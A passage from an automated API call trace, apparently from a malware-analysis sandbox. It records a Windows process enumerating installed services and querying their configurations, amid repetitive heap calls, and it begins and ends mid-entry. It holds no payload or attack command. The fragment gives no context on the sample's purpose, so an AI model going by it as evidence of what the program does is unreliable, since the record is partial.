Size=0x40) returned 0x2159690 [0165.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashplayerupdateservice.exe", cchWideChar=28, lpMultiByteStr=0x2159690, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashplayerupdateservice.exe", lpUsedDefaultChar=0x0) returned 28 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159648 [0165.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159690) returned 1 [0165.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159648) returned 1 [0165.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ebf8) returned 1 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159648 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159690 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ebf8 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252eb70 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ec80 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ed08 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ed90 [0165.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21596d8 [0165.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21596d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0165.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159720 [0165.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21596d8) returned 1 [0165.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159720) returned 1 [0165.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ed90) returned 1 [0165.979] OpenServiceW (hSCManager=0x803918, lpServiceName="AeLookupSvc", dwDesiredAccess=0x1) returned 0x803a30 [0165.979] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0165.979] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.979] GetLastError () returned 0x7a [0165.979] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x106, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ed90 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ee18 [0165.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ed90) returned 1 [0165.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ee18) returned 1 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ee18 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ed90 [0165.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ee18) returned 1 [0165.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ed90) returned 1 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ed90 [0165.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159720 [0165.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x2159720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21596d8 [0165.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159720) returned 1 [0165.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21596d8) returned 1 [0165.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ed90) returned 1 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21596d8 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ed90 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ee18 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252eea0 [0165.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ef28 [0165.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252efb0 [0165.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159720 [0165.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x2159720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0165.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159768 [0165.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159720) returned 1 [0165.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159768) returned 1 [0165.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252efb0) returned 1 [0165.981] OpenServiceW (hSCManager=0x803918, lpServiceName="ALG", dwDesiredAccess=0x1) returned 0x803990 [0165.981] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0165.981] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.981] GetLastError () returned 0x7a [0165.981] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x11a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252efb0 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f038 [0165.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252efb0) returned 1 [0165.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f038) returned 1 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f038 [0165.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159768 [0165.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg.exe", cchWideChar=7, lpMultiByteStr=0x2159768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg.exe", lpUsedDefaultChar=0x0) returned 7 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159720 [0165.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159768) returned 1 [0165.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159720) returned 1 [0165.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f038) returned 1 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159720 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f038 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252efb0 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f0c0 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f148 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f1d0 [0165.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159768 [0165.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x2159768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0165.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21597b0 [0165.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159768) returned 1 [0165.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21597b0) returned 1 [0165.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f1d0) returned 1 [0165.982] OpenServiceW (hSCManager=0x803918, lpServiceName="AppIDSvc", dwDesiredAccess=0x1) returned 0x803a80 [0165.982] CloseServiceHandle (hSCObject=0x803990) returned 1 [0165.983] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.983] GetLastError () returned 0x7a [0165.983] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x18e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x2199ea0 [0165.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f038) returned 1 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f038 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f1d0 [0165.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f038) returned 1 [0165.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f1d0) returned 1 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f1d0 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f038 [0165.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f1d0) returned 1 [0165.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f038) returned 1 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f038 [0165.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21597b0 [0165.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x21597b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159768 [0165.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21597b0) returned 1 [0165.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159768) returned 1 [0165.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f038) returned 1 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159768 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f038 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f1d0 [0165.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f258 [0165.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f2e0 [0165.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f368 [0165.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0165.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21597b0 [0165.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21597b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0165.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21597f8 [0165.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21597b0) returned 1 [0165.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21597f8) returned 1 [0165.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f368) returned 1 [0165.984] OpenServiceW (hSCManager=0x803918, lpServiceName="Appinfo", dwDesiredAccess=0x1) returned 0x8038a0 [0165.984] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0165.984] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.984] GetLastError () returned 0x7a [0165.984] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x122, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f368 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f3f0 [0165.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f368) returned 1 [0165.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f3f0) returned 1 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f3f0 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f368 [0165.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f3f0) returned 1 [0165.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f368) returned 1 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f368 [0165.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21597f8 [0165.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x21597f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21597b0 [0165.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21597f8) returned 1 [0165.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21597b0) returned 1 [0165.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f368) returned 1 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21597b0 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f368 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f3f0 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f478 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f500 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f588 [0165.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21597f8 [0165.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21597f8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0165.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159840 [0165.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21597f8) returned 1 [0165.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159840) returned 1 [0165.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f588) returned 1 [0165.985] OpenServiceW (hSCManager=0x803918, lpServiceName="AppMgmt", dwDesiredAccess=0x1) returned 0x803a30 [0165.985] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0165.986] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.986] GetLastError () returned 0x7a [0165.986] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x106, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f588 [0165.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f610 [0165.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f588) returned 1 [0165.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f610) returned 1 [0165.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f610 [0165.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f588 [0165.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f610) returned 1 [0165.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f588) returned 1 [0165.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f588 [0165.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159840 [0165.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x2159840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0165.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21597f8 [0165.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159840) returned 1 [0165.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21597f8) returned 1 [0165.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f588) returned 1 [0165.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21597f8 [0165.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f588 [0165.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f610 [0165.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f698 [0165.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f720 [0165.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f7a8 [0165.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159840 [0165.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x2159840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0165.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159888 [0165.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159840) returned 1 [0165.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159888) returned 1 [0165.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f7a8) returned 1 [0165.987] OpenServiceW (hSCManager=0x803918, lpServiceName="aspnet_state", dwDesiredAccess=0x1) returned 0x803990 [0165.987] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0165.987] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.987] GetLastError () returned 0x7a [0165.987] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x150, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x2199fa8 [0165.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f588) returned 1 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f588 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f7a8 [0165.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f588) returned 1 [0165.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f7a8) returned 1 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f7a8 [0165.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159888 [0165.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state.exe", cchWideChar=16, lpMultiByteStr=0x2159888, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state.exe", lpUsedDefaultChar=0x0) returned 16 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159840 [0165.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159888) returned 1 [0165.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159840) returned 1 [0165.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f7a8) returned 1 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159840 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f7a8 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f588 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f830 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f8b8 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f940 [0165.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0165.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159888 [0165.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x2159888, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0165.988] RtlAllocateHeap 